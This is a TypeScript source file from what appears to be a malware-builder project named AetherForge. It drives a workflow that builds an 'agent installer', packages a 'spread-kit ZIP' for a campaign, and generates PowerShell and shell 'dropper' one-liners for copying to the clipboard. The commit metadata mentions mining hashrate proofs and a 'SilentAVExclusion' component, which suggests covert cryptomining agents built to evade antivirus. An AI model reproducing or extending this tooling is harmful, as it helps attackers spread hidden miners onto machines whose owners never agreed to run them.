Files
AetherForge/server/web/src/help/forgeMission.ts
AetherForge 415b5dc6a3
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Release validation: tests green, USB pack, fleet UX and API hardening.
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
2026-06-06 16:57:39 -07:00

151 lines
4.2 KiB
TypeScript

import type { BuildRequest, BuildResponse } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
import { applyOperationMode, type OperationModeId } from './forgeOperationModes';
import { applySpreadProfile, type SpreadProfileId } from './spreadProfiles';
import {
combinedDropperQuery,
getUrl,
ps1Oneliner,
shOneliner,
} from './emberwake';
export const MISSION_STEPS = ['configure', 'forge', 'export'] as const;
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
configure: 'Apply loadout presets',
forge: 'Build agent installer',
export: 'Package spread-kit ZIP',
};
export interface MissionLinks {
ps1: string;
sh: string;
get: string;
clipboardText: string;
}
export interface MissionResult {
build: BuildResponse;
exportSkipped: boolean;
}
export interface MissionApi {
buildAgent: (req: BuildRequest, prepFile?: File | null) => Promise<BuildResponse>;
exportSpreadKit: (req: { build_id: string; server_url: string; campaign: string }) => Promise<void>;
}
export function applyMissionPresets(
form: BuildRequest,
operationMode: OperationModeId,
spreadProfile: SpreadProfileId | '',
): BuildRequest {
let next = applyOperationMode(form, operationMode);
if (spreadProfile) {
next = applySpreadProfile(next, spreadProfile);
}
return normalizeForgeForm(next);
}
export function buildMissionLinks(
serverBase: string,
buildId: string,
campaign: string,
): MissionLinks {
const query = combinedDropperQuery(buildId, campaign);
const ps1 = ps1Oneliner(serverBase, query);
const sh = shOneliner(serverBase, query);
const get = getUrl(serverBase, query);
const clipboardText = [ps1, sh, get].join('\n\n');
return { ps1, sh, get, clipboardText };
}
export function missionStepIndex(step: MissionStep): number {
if (step === 'done' || step === 'error') return MISSION_STEPS.length;
const idx = MISSION_STEPS.indexOf(step as (typeof MISSION_STEPS)[number]);
return idx < 0 ? -1 : idx;
}
export function missionStepStatus(
step: (typeof MISSION_STEPS)[number],
current: MissionStep,
exportSkipped: boolean,
): 'pending' | 'active' | 'done' | 'skipped' | 'error' {
if (current === 'error') {
const idx = MISSION_STEPS.indexOf(step);
const curIdx = missionStepIndex(current);
if (idx < curIdx) return 'done';
if (idx === curIdx) return 'error';
return 'pending';
}
if (step === 'export' && exportSkipped) return 'skipped';
const idx = MISSION_STEPS.indexOf(step);
const curIdx = missionStepIndex(current);
if (curIdx < 0) return 'pending';
if (idx < curIdx) return 'done';
if (idx === curIdx) return 'active';
return 'pending';
}
export async function copyMissionLinks(links: MissionLinks): Promise<void> {
if (typeof navigator !== 'undefined' && navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(links.clipboardText);
return;
}
throw new Error('Clipboard unavailable');
}
export async function runForgeMission(opts: {
form: BuildRequest;
operationMode: OperationModeId;
spreadProfile: SpreadProfileId | '';
campaign: string;
serverBase: string;
fusionPrepFile?: File | null;
api: MissionApi;
onStep?: (step: MissionStep) => void;
cancelToken?: string;
}): Promise<MissionResult> {
const {
form,
operationMode,
spreadProfile,
campaign,
serverBase,
fusionPrepFile,
api,
onStep,
cancelToken,
} = opts;
onStep?.('configure');
const configured = applyMissionPresets(form, operationMode, spreadProfile);
onStep?.('forge');
const build = await api.buildAgent(
{ ...configured, cancel_token: cancelToken },
fusionPrepFile,
);
if (!build.success) {
throw new Error(build.error || 'Build failed');
}
const buildId = build.build_id?.trim();
if (!buildId) {
throw new Error('Build succeeded but no build_id returned');
}
const exportSkipped = !configured.spread_kit;
if (!exportSkipped) {
onStep?.('export');
await api.exportSpreadKit({
build_id: buildId,
server_url: serverBase,
campaign,
});
}
onStep?.('done');
return { build, exportSkipped };
}